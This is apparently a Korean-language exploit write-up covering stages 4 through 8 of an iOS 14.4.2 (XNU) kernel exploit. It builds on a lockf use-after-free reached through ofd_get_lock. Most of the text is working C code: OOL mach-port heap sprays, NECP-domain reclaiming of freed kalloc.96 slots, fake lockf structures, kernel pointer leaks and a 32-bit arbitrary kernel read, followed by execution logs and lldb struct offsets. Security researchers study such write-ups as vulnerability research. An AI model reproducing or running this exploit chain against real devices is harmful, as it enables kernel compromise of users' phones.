[STAGE3] i=26 name=0x3003 port=0xFFFFFFE19D31BBB8 ikmq_base=0xFFFFFFE19D31BBB8 receiver_name=0x9D31BBB8 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=27 name=0x3103 port=0xFFFFFFE19FF25A40 ikmq_base=0xFFFFFFE19FF25A40 receiver_name=0x9FF25A40 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=28 name=0x5103 port=0xFFFFFFE19E1C0000 ikmq_base=0xFFFFFFE19E1C0000 receiver_name=0x9E1C0000 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=29 name=0x3203 port=0xFFFFFFE19DE43DB0 ikmq_base=0xFFFFFFE19DE43DB0 receiver_name=0x9DE43DB0 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=30 name=0x3303 port=0xFFFFFFE19FBF8930 ikmq_base=0xFFFFFFE19FBF8930 receiver_name=0x9FBF8930 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=31 name=0x3403 port=0xFFFFFFE1A01EDF80 ikmq_base=0xFFFFFFE1A01EDF80 receiver_name=0xA01EDF80 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0

4. readpipe_ipc_port_kptr 주소값 유출

C공간을 한번더 재점유하는데, 2번 과정과 비슷하다.

재점유하기전에 C공간을 free시켜야하는데, pending된 OOL 메시지를 mach_msg로 수신받으면 해제가 된다.

    // Free the OOL array, then reallocate to get readpipe fileport's ipc_port *
    // Receive the pending OOL message to free the OOL port array
    mach_msg_empty_rcv_t receive_message = {0};
    mach_msg(
    &receive_message.header,
    MACH_RCV_MSG | MACH_RCV_INTERRUPT,
    0,
    0,
    reply_port,
    MACH_MSG_TIMEOUT_NONE,
    MACH_PORT_NULL);

이러한 이유는 커널에서

mach_msg_overwrite_trapmach_msg_receive_resultsmsg_receive_erroripc_kmsg_copyout_destipc_kmsg_clean_body

ipc_kmsg_clean_body 에서 최종적으로 디스크립터 배열 수만큼 kfree해주기 때문이다.

Screenshot 2026-07-29 at 10.32.08 AM.png

Drawing 2026-07-29 10.05.15.excalidraw-fs8.png

이번에는 pipe fd를 fileport로 변환시켠 포트로 넣어 96바이트 descriptor 배열이 할당되게 만든다. 그러면 ofd_get_lock 에서 반환된 fl->lf_start값을 획득하여 pipe fileport의 ipc port 주소를 leak시킬 수 있다.

이러한 leak이 필요한 이유는 아직 임의 읽기가 없는 상태에서 secondary pipe의 커널 객체까지 접근하기 위해서인데, 최초의 읽기 프리미티브를 구현하는데 필요한 first_read_address = readpipe_ipc_port_kptr + 0x68; 코드에서 필요한데, fd table 없이 readpipe fileglob를 찾을 수 있는 연결 고리가 될 수도 있을 것이다.

readpipe ipc_port *
  → ip_kobject
  → readpipe fileglob *
  → fg_data
  → read-side struct pipe *
  → pipe_buffer.buffer
  → controllable pipe backing
// 00000000000072E4
kern_return_t spray_default_kalloc_ool_ports_with_dead(mach_port_t where, mach_port_t target_port) {
    const int port_cnt = 12;
    mach_port_t* ports = malloc(sizeof(mach_port_t) * port_cnt);
    for (int i = 0; i < port_cnt; i++) {
        ports[i] = target_port;
    }
    ports[2] = MACH_PORT_DEAD;

    struct default_msg* message = (struct default_msg*)calloc(1, sizeof(struct default_msg));
    message->header.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    message->header.msgh_size = sizeof(struct default_msg);
    message->header.msgh_remote_port = where;
    message->body.msgh_descriptor_count = 1;
    message->descriptor.address = ports;
    message->descriptor.deallocate = false;
    message->descriptor.copy = MACH_MSG_PHYSICAL_COPY;
    message->descriptor.disposition = MACH_MSG_TYPE_COPY_SEND;
    message->descriptor.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    message->descriptor.count = port_cnt;

    kern_return_t kr = mach_msg(
      &message->header,
      MACH_SEND_MSG | MACH_SEND_INTERRUPT | MACH_SEND_NOIMPORTANCE,
      message->header.msgh_size,
      0,
      MACH_PORT_NULL,
      MACH_MSG_TIMEOUT_NONE,
      MACH_PORT_NULL);

    free(message);
    free(ports);

    if (kr) {
        printf("[-] Failed to send OOL message: 0x%x (%s)\n", kr, mach_error_string(kr));
        return KERN_FAILURE;
    }
    return KERN_SUCCESS;
}

int main(void) {
//...
    // create secondary readpipe file port
    mach_port_name_t fileport_readpipe = MACH_PORT_NULL;
    fileport_makeport(pipe_fd_2[0], &fileport_readpipe);
    
		//...
		
    // reallocate it and leak
    spray_default_kalloc_ool_ports_with_dead(reply_port, fileport_readpipe);
    memset(fl, 0, sizeof(struct flock));
    ofd_get_lock(urandom_fd, 0, 0, fl);
    uint64_t readpipe_ipc_port_kptr = fl->l_start;
    printf("[i] Leaked readpipe_ipc_port kptr = 0x%llX\n", readpipe_ipc_port_kptr);
//...
}

5. NECP Payload로 C공간 재점유

다시한번 pending된 OOL 메시지를 mach_msg로 수신받아 할당해제시킨다.

    // stage 5.
    // Free OOL #2 directly
    mach_msg(&receive_message.header, MACH_RCV_MSG | MACH_RCV_INTERRUPT, 0, 0, reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

이전에 열어둔 소켓 fd를 이용해서 NECP DOMAIN으로 0x60크기만큼 재점유한다.

/*
 * Install a 0x5f-byte NECP domain. XNU appends its NUL terminator, so the
 * persistent domain allocation is 0x60 bytes. OOL #3 is freed by main().
 */
int allocate_necp_domain(
    int necp_socket,
    const uint8_t payload[NECP_DOMAIN_PAYLOAD_SIZE])
{
    struct necp_domain_option option = {0};

    if (payload == NULL ||
        payload[NECP_DOMAIN_PAYLOAD_SIZE - 1] != 0) {
        errno = EINVAL;
        return -1;
    }

    option.type = NECP_TLV_ATTRIBUTE_DOMAIN;
    option.length = NECP_DOMAIN_STRING_LENGTH;
    memcpy(option.value, payload, NECP_DOMAIN_STRING_LENGTH);

    return setsockopt(
        necp_socket,
        SOL_SOCKET,
        SO_NECP_ATTRIBUTES,
        &option,
        (socklen_t)sizeof(option));
}

int main(void) {
// ...
    // prepare necp payload
    /*
     * Resulting 0x60-byte domain contents:
     *
     *   +0x00  0x2222222222221111
     *   +0x08  "33333333"
     *   +0x10  "DDDDDDDD"
     *   +0x18  "UUUUUUUU"
     *   +0x20  "ffffffff"
     *   +0x28  "wwwwwwww"
     *   +0x30..+0x5f  zero
     */
    uint8_t necp_payload[NECP_DOMAIN_PAYLOAD_SIZE] = {0};
    static const uint64_t first_necp_words[] = {
        0x2222222222221111ULL,
        0x3333333333333333ULL,
        0x4444444444444444ULL,
        0x5555555555555555ULL,
        0x6666666666666666ULL,
        0x7777777777777777ULL,
    };
    memcpy(necp_payload, first_necp_words, sizeof(first_necp_words));

    // Reoccupy the released 0x60 slot with the persistent NECP domain.
    if (allocate_necp_domain(socket_fd[0], necp_payload) != 0) {
        printf("[-] failed to allocate NECP domain: %s(%d)\n", strerror(errno), errno);
        return -1;
    }
// ...
}

C 커널 공간에는 이제 necp_payload 데이터로 구성된다.

Screenshot 2026-07-29 at 11.45.17 AM.png

커널에서 함수들을 따라가보면,

allocate_necp_payloadsetsockoptsosetoptlocknecp_set_socket_attributesnecp_set_socket_attribute

necp_set_socket_attributes()에서는 입력 buffer에서 두 가지 TLV를 각각 찾으며, NECP_TLV_ATTRIBUTE_DOMAIN(7)NECP_TLV_ATTRIBUTE_ACCOUNT(8)을 찾는다. 이중에서 type NECP_TLV_ATTRIBUTE_DOMAIN(7)이 발견됨으로써 0x60 크기를 커널에서 할당받게 된다.

necp_set_socket_attributes 에서 0x60크기를 default.kalloc.96 존으로부터 할당받는다.

Drawing 2026-07-29 10.59.47.excalidraw-fs8.png

실제로 C공간이었던 곳에 재점유가 잘되었는지 확인해보자.

#if ENABLE_HELPER 
    printf("[STAGE 5] did allocated necp domain well?\n");
    uint64_t fileglob = get_fileglob_by_fd(socket_fd[0]);   
    uint64_t socket_kaddr = tfp0_kread64(fileglob + 0x38);        // fileglob::fg_data  // (lldb) p/x offsetof(fileglob, fg_data)
    uint64_t inpcb_kaddr = tfp0_kread64(socket_kaddr + 0x10);    // socket::so_pcb      // (lldb) p/x offsetof(socket, so_pcb)
    uint64_t domain_kaddr = tfp0_kread64(inpcb_kaddr + 0x168);    // inpcb::inp_domain  // (lldb) p/x offsetof(inpcb, inp_necp_attributes.inp_domain)
    printf("[STAGE 5] domain_kaddr = 0x%llX\n", domain_kaddr);
    getchar();
#endif

실행 결과:

iPhone-8--1442:~ root# pendulum
[i] offsets selected for iOS 14.4.2
tfp0: 0x1103
tfp0_get_kbase ret: 0, tfp0_kbase: 0xfffffff0167b4000, tfp0_kslide: 0xf7b0000
[i] opened urandom fd: 6
[STAGE1] urandom_vnode = 0xFFFFFFE19CD4AAA0, urandom_fileglob = 0xFFFFFFE19F63FA20
[STAGE1] v_lockf(A) = 0xFFFFFFE4CDF9C900
[STAGE1] v_lockf(A)->lf_start = 10, lf_end = 19
[STAGE1] v_lockf(A)->lf_head = 0xFFFFFFE19CD4AB68, lf_next = 0x0
========================
[STAGE1.1] v_lockf(A) = 0xFFFFFFE4CDF9C900
[STAGE1.1] v_lockf(A)->lf_start = 10, lf_end = 19
[STAGE1.1] v_lockf(A)->lf_head = 0xFFFFFFE19CD4AB68, lf_next = 0xFFFFFFE4CDF7CA20
[STAGE1.1] v_lockf(B) = 0xFFFFFFE4CDF7CA20
[STAGE1.1] v_lockf(B)->lf_start = 9223372036854775807, lf_end = -1
[STAGE1.1] v_lockf(B)->lf_head = 0xFFFFFFE19CD4AB68, lf_next = 0x0
========================
[STAGE1.2] v_lockf(A) = 0xFFFFFFE4CDF9C900
[STAGE1.2] v_lockf(A)->lf_start = 10, lf_end = 19
[STAGE1.2] v_lockf(A)->lf_head = 0xFFFFFFE19CD4AB68, lf_next = 0xFFFFFFE4CDF7CA20
[STAGE1.2] v_lockf(B) = 0xFFFFFFE4CDF7CA20
[STAGE1.2] v_lockf(B)->lf_start = -9223372036854775808, lf_end = -1
[STAGE1.2] v_lockf(B)->lf_head = 0xFFFFFFE19CD4AB68, lf_next = 0x0
========================
[STAGE1.3] v_lockf(A) = 0xFFFFFFE4CDF9C900
[STAGE1.3] v_lockf(A)->lf_start = 10, lf_end = 14
[STAGE1.3] v_lockf(A)->lf_head = 0xFFFFFFE19CD4AB68, lf_next = 0xFFFFFFE4CDFD0D80
[STAGE1.3] v_lockf(DANGLING C) = 0xFFFFFFE4CDFD0D80
[STAGE1.3] Since C is freed, however, the contents of C's memory are no longer guaranteed, leaving a dangling pointer!
[0xffffffe4cdfd0d80+0x000] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
[0xffffffe4cdfd0d80+0x010] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
[0xffffffe4cdfd0d80+0x020] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
[0xffffffe4cdfd0d80+0x030] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
[0xffffffe4cdfd0d80+0x040] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
[0xffffffe4cdfd0d80+0x050] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
========================
[STAGE2] Reoccupied with OOL ports allocation kaddr (KHEAP_DEFAULT/kalloc.96) = 0xFFFFFFE4CDFD0D80
[STAGE2] tfp0_find_port(fileport_name) = 0xFFFFFFE19DFB09D8
[i] Leaked fileglob kptr = 0xFFFFFFE19F63FA20
[i] thread-message channel: 32 ports, qlimit=0x400, capacity=0x8000
...
[i] Leaked readpipe_ipc_port kptr = 0xFFFFFFE19E755A40
[STAGE 5] did allocated necp domain well?
[STAGE 5] domain_kaddr = 0xFFFFFFE4CDFD0D80

6. socket0/socket1으로 fake lock C/B0 제어하기

코드는 다음과 같다. 하나씩 살펴보자.

int prepare_socket_lockf_pair(int lock_fd, 
    struct minimal_thread_message_channel *channel, 
    int socket0, int socket1, 
    uint64_t initial_read_address, uint64_t *socket1_domain_kaddr_out)
{
    off_t lock_start = LOCK_PROBE_INITIAL_START;
    off_t lock_length = LOCK_PROBE_INITIAL_LENGTH;
    uint8_t observed_payload[NECP_DOMAIN_PAYLOAD_SIZE] = {0};
    uint32_t observed_length = 0;
    uint64_t socket1_domain_kaddr = 0;

    if (set_posix_lock(lock_fd, F_RDLCK, lock_start, lock_length) != 0) {
        return -1;
    }

    while (1) {
        if (read_necp_domain(socket0, observed_payload, &observed_length) != 0) {
            return -1;
        }

        /* Initial strlen is 48.  A nonzero 8-byte C->lf_next makes it 56. */
        if (observed_length >= LOCK_PROBE_LINK_OFFSET + sizeof(uint64_t)) {             // TRIGGERED
            memcpy(&socket1_domain_kaddr, observed_payload + LOCK_PROBE_LINK_OFFSET, sizeof(socket1_domain_kaddr));
            break;
        } 

        --lock_start;
        lock_length += 2;
        if (set_posix_lock(lock_fd, F_RDLCK, lock_start, lock_length) != 0) {
            return -1;
        }

        if (send_one_thread_channel_message(channel) != KERN_SUCCESS) {
            errno = EIO;
            return -1;
        }

        /* Match the recovered loop's lower bound; it does not guess B. */
        if (lock_start == LOCK_PROBE_LAST_START) {
            errno = EFAULT;
            return -1;
        }
    }

    if (!looks_like_kernel_pointer(socket1_domain_kaddr)) {
        errno = EFAULT;
        return -1;
    }

    /* Free B, but deliberately do not pin it with another OOL allocation. */
    if (set_posix_lock(lock_fd, F_RDLCK, lock_start - 1, lock_length + 2) != 0) {
        return -1;
    }

    if (install_socket_lockf_pair(socket0, socket1, socket1_domain_kaddr, initial_read_address) != 0) {
        return -1;
    }

    *socket1_domain_kaddr_out = socket1_domain_kaddr;
    return 0;
}

int main(void) {
//...
// control fake lockf via socket0/socket1
    uint64_t socket1_domain_kaddr = 0;
    const uint64_t first_read_address = readpipe_ipc_port_kptr + XNU7195_PROC_PID_OFFSET;

    if (prepare_socket_lockf_pair(
            urandom_fd,
            &thread_channel,
            socket_fd[0],
            socket_fd[1],
            first_read_address,
            &socket1_domain_kaddr) != 0) {
        printf("[-] failed to prepare socket fake-lockf pair: %s(%d)\n", strerror(errno), errno);
        return -1;
    }
    printf("[i] socket1 DOMAIN kernel address = 0x%llX\n", socket1_domain_kaddr);
//...
}

prepare_socket_lockf_pair에서 set_posix_lock이 처음 호출되는 순간, 아래와 같이 새로운 B0 lock이 생성된다.

/* These grooming locks are POSIX F_SETLK locks, not F_OFD_SETLK locks. */
int set_posix_lock(int fd, short type, off_t start, off_t length)
{
    struct flock fl = {
        .l_start = start,   
        .l_len = length, 
        .l_pid = 0,
        .l_type = type, 
        .l_whence = SEEK_SET,
    };

    return fcntl(fd, F_SETLK, &fl);
}

//...

if (set_posix_lock(lock_fd, F_RDLCK, lock_start, lock_length) != 0) {
    return -1;
}

호출되기 전 lock list 구조는 아래와 같았으나,

v_lockf -> A[10,14] -> C(socket0 DOMAIN) -> NULL

호출 이후는 아래처럼 바뀐다. fake lockf C에 lf_next 필드에 새로운 B0 lock 객체를 가리키도록 주소값이 써져있다. B0 lock 객체의 lf_start, lf_end는 둘다 100이 되며, lf_next는 NULL이다.

v_lockf A[10,14] -> C(socket0 DOMAIN) -> new B0[100, 100] -> NULL

Drawing 2026-07-30 10.15.07.excalidraw-fs8.png

prepare_socket_lockf_pair에서 while(1) 루프문에 있는 read_necp_domain 를 최초 호출시에서의 상황을 살펴보자.

int read_necp_domain(
    int necp_socket,
    uint8_t payload[NECP_DOMAIN_PAYLOAD_SIZE],
    uint32_t *domain_length)
{
    uint8_t option[0x103] = {0};
    socklen_t option_length = (socklen_t)sizeof(option);
    uint32_t length = 0;

    if (payload == NULL || domain_length == NULL) {
        errno = EINVAL;
        return -1;
    }

    if (getsockopt(
            necp_socket,
            SOL_SOCKET,
            SO_NECP_ATTRIBUTES,
            option,
            &option_length) != 0) {
        return -1;
    }

    if (option_length < 5 || option[0] != NECP_TLV_ATTRIBUTE_DOMAIN) {
        errno = EPROTO;
        return -1;
    }

    memcpy(&length, option + 1, sizeof(length));
    if (length == 0 ||
        length > NECP_DOMAIN_PAYLOAD_SIZE ||
        option_length < (socklen_t)(5 + length)) {
        errno = EPROTO;
        return -1;
    }

    memset(payload, 0, NECP_DOMAIN_PAYLOAD_SIZE);
    memcpy(payload, option + 5, length);
    *domain_length = length;
    return 0;
}

int prepare_socket_lockf_pair(int lock_fd, 
    struct minimal_thread_message_channel *channel, 
    int socket0, int socket1, 
    uint64_t initial_read_address, uint64_t *socket1_domain_kaddr_out)
{
    //...

    while (1) {
        if (read_necp_domain(socket0, observed_payload, &observed_length) != 0) {
            return -1;
        }

        /* Initial strlen is 48.  A nonzero 8-byte C->lf_next makes it 56. */
        if (observed_length >= LOCK_PROBE_LINK_OFFSET + sizeof(uint64_t)) {             // TRIGGERED
            memcpy(&socket1_domain_kaddr, observed_payload + LOCK_PROBE_LINK_OFFSET, sizeof(socket1_domain_kaddr));
            break;
        } 

read_necp_domain 에서 반환되는 값은 커널의 necp_get_socket_attributes에서 호출되는 strlen()에 따라 결정되며, 다음과 같이 2가지 케이스가 존재한다.

1. 반환값이 0x37 이하인 경우 (fake lockf C의 lf_next 포인터 주소가 온전히 유출되지 못하는 케이스)

fake lock C에서 lf_next 포인터 주소값 중에 0x00 NULL-byte가 추가되는 경우이다.

Drawing 2026-07-30 11.30.19.excalidraw-fs8.png

이렇게 되면 lockf B0 주소를 온전하게 가져오지 못한다.

이후에는, set_posix_lock, send_one_thread_channel_message 함수를 호출하는 코드를 볼 수 있다.

set_posix_lock 에 의해 B1[99, 101] lockf가 새로 생성된다.

B1은 기존의 B0[100,100]을 완전히 포함하기 때문에, 결과적으로 lock list는 A[10,14] -> C[socket0 DOMAIN, fake lockf] -> new B1[99,101] -> NULL 이 된다.

해제된 B0는 OOL 배열로 pin되게끔 만들기 위해 send_one_thread_channel_message 를 수행한다. 다시는 NULL-byte가 존재하는 주소로 할당되지 못하게끔 만들기 위해 수행하는 것으로 보인다.

int set_posix_lock(int fd, short type, off_t start, off_t length)
{
    struct flock fl = {
        .l_start = start,   
        .l_len = length, 
        .l_pid = 0,
        .l_type = type, 
        .l_whence = SEEK_SET,
    };

    return fcntl(fd, F_SETLK, &fl);
}

/*
 * Queue one 12-entry OOL-port descriptor and leave it pending.  On arm64 the
 * kernel-side ipc_object_t array is 12 * 8 == 0x60 bytes, so it pins the
 * lockf slot freed by the preceding widening POSIX lock.
 */
kern_return_t send_one_thread_channel_message(
    struct minimal_thread_message_channel *channel)
{
    struct default_msg message;

    if (channel == NULL || channel->receive_port_count == 0) {
        return KERN_INVALID_ARGUMENT;
    }

    message = channel->ool_template;
    message.header.msgh_remote_port = channel->receive_ports[0];
    message.header.msgh_local_port = MACH_PORT_NULL;
    message.header.msgh_voucher_port = MACH_PORT_NULL;

    return mach_msg(
        &message.header,
        MACH_SEND_MSG | MACH_SEND_NOIMPORTANCE,
        message.header.msgh_size,
        0,
        MACH_PORT_NULL,
        MACH_MSG_TIMEOUT_NONE,
        MACH_PORT_NULL);
}

int prepare_socket_lockf_pair(int lock_fd, 
    struct minimal_thread_message_channel *channel, 
    int socket0, int socket1, 
    uint64_t initial_read_address, uint64_t *socket1_domain_kaddr_out)
{
// ...
        --lock_start;
        lock_length += 2;
        if (set_posix_lock(lock_fd, F_RDLCK, lock_start, lock_length) != 0) {
            return -1;
        }

        if (send_one_thread_channel_message(channel) != KERN_SUCCESS) {
            errno = EIO;
            return -1;
        }

        /* Match the recovered loop's lower bound; it does not guess B. */
        if (lock_start == LOCK_PROBE_LAST_START) {
            errno = EFAULT;
            return -1;
        }
// ...
{

실제로 확인해보면, 방금 해제된 lock B0가 OOL 배열로 pin되는 것을 볼 수 있고, 더이상 lock C에서 lf_next 포인터값에 NULL-byte가 존재하지 않게 된다.

Drawing 2026-07-30 12.55.05.excalidraw-fs8.png

2. 반환값이 0x38인 경우 (fake lockf C의 lf_next 포인터 주소가 온전히 유출 가능한 케이스)

운이 좋다면, 처음부터 fake lock C에서 lf_next 포인터 주소값에 NULL-byte가 존재하지 않게되어, lockf B0 주소를 누출시킬 수도 있을 것이다.

Drawing 2026-07-30 12.55.05.excalidraw 1-fs8.png

이제 prepare_socket_lockf_pair에서의 while(1) 루프문을 빠져나간 다음 코드를 살펴보자. 누출된 socket1_domain_kaddr, 즉 B의 flock 주소가 제대로 누출되었는지 확인한다.

lock_start를 감소시키고, lock_length를 증가시켜 새로운 락을 생성하도록 set_posix_lock 을 호출한다.

    if (!looks_like_kernel_pointer(socket1_domain_kaddr)) {
        errno = EFAULT;
        return -1;
    }

    /* Free B, but deliberately do not pin it with another OOL allocation. */
    if (set_posix_lock(lock_fd, F_RDLCK, lock_start - 1, lock_length + 2) != 0) {
        return -1;
    }

새로운 lock을 “D”라고 명명하겠다. 실행 결과, lock B0는 해제된다.

lock list는 A[10,14] -> C[socket0 DOMAIN, fake lockf] -> new D[99,101] -> NULL 이 된다.

Drawing 2026-07-30 12.55.05.excalidraw 1 1-fs8.png

다음으로, socket0과 socket1을 이용해서 lockf C와 lockf B0을 임의로 제어한다.

int install_socket_lockf_pair(int socket0, int socket1, uint64_t socket1_domain_kaddr, uint64_t initial_read_address)
{
    uint8_t socket0_payload[NECP_DOMAIN_PAYLOAD_SIZE] = {0};
    uint8_t socket1_payload[NECP_DOMAIN_PAYLOAD_SIZE] = {0};
    uint64_t marker = 0x2222222222221111ULL;
    uint64_t vnode_value = socket1_domain_kaddr + 8;
    uint64_t next_value = socket1_domain_kaddr - 8;

    /* The final widening lock just freed this slot; socket1 claims it first. */
    make_socket1_lockf_payload(socket1_payload, initial_read_address);
    if (allocate_necp_domain(socket1, socket1_payload) != 0) {
        return -1;
    }

    /*
     * Rebuild dangling C on socket0.  C itself starts just after the GETLK
     * query, while C->lf_next points eight bytes before socket1's allocation.
     */
    memcpy(socket0_payload + 0x00, &marker, sizeof(marker));
    memcpy(socket0_payload + 0x08, "33333333DDDDDDDDUUUUUUUUffffffff", 32);
    memcpy(socket0_payload + 0x28, &vnode_value, sizeof(vnode_value));
    memcpy(socket0_payload + 0x30, &next_value, sizeof(next_value));

    if (clear_necp_domain(socket0) != 0) {
        return -1;
    }

    return allocate_necp_domain(socket0, socket0_payload);
}

...

    if (install_socket_lockf_pair(socket0, socket1, socket1_domain_kaddr, initial_read_address) != 0) {
        return -1;
    }

    *socket1_domain_kaddr_out = socket1_domain_kaddr;
    return 0;
}

fake lockf C에는 끝부분에 socket1_domain_kaddr+8, socket1_domain_kaddr-8(lockf B0+8, lockf B0-8)로 각각 덮어쓴다.

fake lockf B0에는 끝부분에 const uint64_t fake_proc = read_address - XNU7195_PROC_PID_OFFSET; 코드에 의해 fake_proc으로 덮어쓴다. fake_proc은 곧 , readpipe_ipc_port_kptr에서 읽은 값을 얻기 위해서이다.

const uint64_t first_read_address = readpipe_ipc_port_kptr + XNU7195_PROC_PID_OFFSET;
const uint64_t fake_proc = first_read_address - XNU7195_PROC_PID_OFFSET;

lockf D는 고립되는데, lockf C에서 더이상 lockf D를 참조하지 않기 때문이다.

Drawing 2026-07-30 12.55.05.excalidraw 1 1 1-fs8.png

7. 임의 주소 커널 읽기, 첫 시도

Screenshot 2026-08-07 at 2.35.51 PM.png

socket1을 제어하여 읽힐 주소인 readpipe_ipc_port_kptr+0x68 이 담긴 페이로드를 마련한다.

ofd_get_lock으로 32비트 커널 주소를 읽을 수 있으며, readpipe_ipc_port_kptr+0x68 주소를 읽는다.

...
    uint32_t readpipe_fileglob_low32 = 0;
    if (kernel_read32_via_proc_pid(urandom_fd, socket_fd[1], first_read_address, &readpipe_fileglob_low32) != 0) {
        printf("[-] kernel_read32_via_proc_pid failed: %s(%d)\n", strerror(errno), errno);
        return -1;
    }
    
...

/* Stage 6: retarget socket1 and return *(uint32_t *)read_address via l_pid. */
int kernel_read32_via_proc_pid(int lock_fd, int socket1, uint64_t read_address, uint32_t *value_out)
{
    uint8_t socket1_payload[NECP_DOMAIN_PAYLOAD_SIZE] = {0};
    struct flock fl;

    if (value_out == NULL || read_address < XNU7195_PROC_PID_OFFSET) {
        errno = EINVAL;
        return -1;
    }

    make_socket1_lockf_payload(socket1_payload, read_address);

    /* Free/reclaim the same persistent 0x60 slot for every read. */
    if (clear_necp_domain(socket1) != 0 ||
        allocate_necp_domain(socket1, socket1_payload) != 0) {
        return -1;
    }

    if (ofd_get_lock(lock_fd, LOCK_PROBE_QUERY_START, LOCK_PROBE_QUERY_LENGTH, &fl) != 0) {
        return -1;
    }

    if (fl.l_type == F_UNLCK) {
        errno = ENOENT;
        return -1;
    }

    /* XNU lf_getlock(): fl.l_pid = proc_pid(block->lf_owner). */
    *value_out = (uint32_t)fl.l_pid;
    return 0;
}

ofd_get_lock을 수행할때 범위는 LOCK_PROBE_QUERY_START 인 0x3333333333333300, LOCK_PROBE_QUERY_LENGTH인 0x5이기 때문에 fake lockf C의 next lock을 참조한다.

해당 next lock에는 socket1으로 제어했던 데이터의 +0x58에 readpipe_pipe_ipc_kptr 주소 8바이트가 들어간다.

마지막으로, 해당 주소의 +0x68을 더한 곳으로부터 값을 32비트만큼 읽는다.

읽은 값은 상위 32비트값과 조합하여 readpipe의 fileglob 구조체 주소를 의미하는 readpipe_fileglob_kptr을 얻는다.

Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1-fs8.png

8. secondary read pipe의 pipe_buffer.buffer 주소 얻기

우리는 지금까지 pipe_fd_2[0] 라는 두번째 pipe의 읽기용 파일 디스크립터를 fileport_makeport 를 호출하여 fileport로 변환시켰다. 해당 fileport로부터 ipc port 포인터 커널 주소를 누출시켰고, ipc port 포인터 커널 주소(readpipe_ipc_port_kptr)에서 +0x68을 더한 곳을 다시한번 읽어서 fileglob 포인터 주소(readpipe_fileglob_kptr)를 획득하였다.

fileglob 포인터 주소를 획득하면, 아래와 같이 구조체 오프셋을 더한 곳을 차례대로 읽음으로써 파이프 데이터가 들어있는 버퍼 주소까지 얻을 수 있다.

fileglob+0x38 -> struct pipe; pipe+0x10 -> pipe_buffer.buffer.
(lldb) type lookup fileglob
struct fileglob {
    struct  {
        fileglob *le_next;
        fileglob **le_prev;
    };
    fileglob::(unnamed struct) f_msglist;
    uint32_t fg_flag;
    os_ref_atomic_t fg_count;
    uint32_t fg_msgcount;
    int32_t fg_lflags;
    kauth_cred_t fg_cred;
    const fileops *fg_ops;
    off_t fg_offset;
    void *fg_data;
    void *fg_vn_data;
    lck_mtx_t fg_lock;
    label *fg_label;
}
(lldb) p/x offsetof(fileglob, fg_data)
(unsigned long) 0x0000000000000038
(lldb) type lookup pipe
struct pipe {
    pipebuf pipe_buffer;
    selinfo pipe_sel;
    pid_t pipe_pgid;
    pipe *pipe_peer;
    u_int pipe_state;
    int pipe_busy;
    lck_mtx_t *pipe_mtxp;
    timespec st_atimespec;
    timespec st_mtimespec;
    timespec st_ctimespec;
    label *pipe_label;

(lldb) type lookup pipebuf
struct pipebuf {
    u_int cnt;
    u_int in;
    u_int out;
    u_int size;
    __ptrauth(2,1,43904) caddr_t buffer;
}
(lldb) p/x offsetof(pipe, pipe_buffer.buffer)
(unsigned long) 0x0000000000000010

코드는 다음과 같다.

kernel_read_pointer_via_socket 함수는 이전에 살펴봤던 kernel_read32_via_proc_pid 함수를 이용해서 32비트값을 두번 읽고 조합시켜 64비트값을 완성시킨다.

int kernel_read_pointer_via_socket(
    int lock_fd,
    int socket1,
    uint64_t read_address,
    uint64_t upper32_hint,
    uint64_t *value_out)
{
    uint32_t low = 0;
    uint32_t high = 0;
    uint64_t value;

    if (value_out == NULL) {
        errno = EINVAL;
        return -1;
    }

    if (kernel_read32_via_proc_pid(
            lock_fd, socket1, read_address, &low) != 0) {
        return -1;
    }

    if ((upper32_hint & 0xFFFFFFFF00000000ULL) != 0) {
        *value_out =
            (upper32_hint & 0xFFFFFFFF00000000ULL) | low;
        return 0;
    }

    if (kernel_read32_via_proc_pid(
            lock_fd, socket1, read_address + 4, &high) != 0) {
        return -1;
    }

    value = low | ((uint64_t)high << 32);
    *value_out = normalize_a12_xnu7195_pointer(value);
    return 0;
}

...
// 8. secondary pipe backing 주소 찾기
    uint64_t secondary_pipe_object_kptr = 0;
    uint64_t secondary_pipe_backing_kptr = 0;

    /* fileglob+0x38 -> struct pipe; pipe+0x10 -> pipe_buffer.buffer. */
    if (kernel_read_pointer_via_socket(
            urandom_fd,
            socket_fd[1],
            readpipe_fileglob_kptr + XNU7195_FILEGLOB_DATA_OFFSET,
            readpipe_fileglob_kptr,
            &secondary_pipe_object_kptr) != 0) {
        printf("[-] failed to find secondary pipe object: %s(%d)\n",
            strerror(errno), errno);
        return -1;
    }
    if (!looks_like_kernel_pointer(secondary_pipe_object_kptr)) {
        printf("[-] invalid secondary pipe object: 0x%llX\n",
            secondary_pipe_object_kptr);
        return -1;
    }

    if (kernel_read_pointer_via_socket(
            urandom_fd,
            socket_fd[1],
            secondary_pipe_object_kptr + XNU7195_PIPE_BUFFER_OFFSET,
            0,
            &secondary_pipe_backing_kptr) != 0) {
        printf("[-] failed to find secondary pipe backing: %s(%d)\n",
            strerror(errno), errno);
        return -1;
    }
    if (!looks_like_kernel_pointer(secondary_pipe_backing_kptr)) {
        printf("[-] invalid secondary pipe backing: 0x%llX\n",
            secondary_pipe_backing_kptr);
        return -1;
    }

    printf("[i] secondary pipe object = 0x%llX\n",
        secondary_pipe_object_kptr);
    printf("[i] secondary pipe backing = 0x%llX\n",
        secondary_pipe_backing_kptr);
        
...

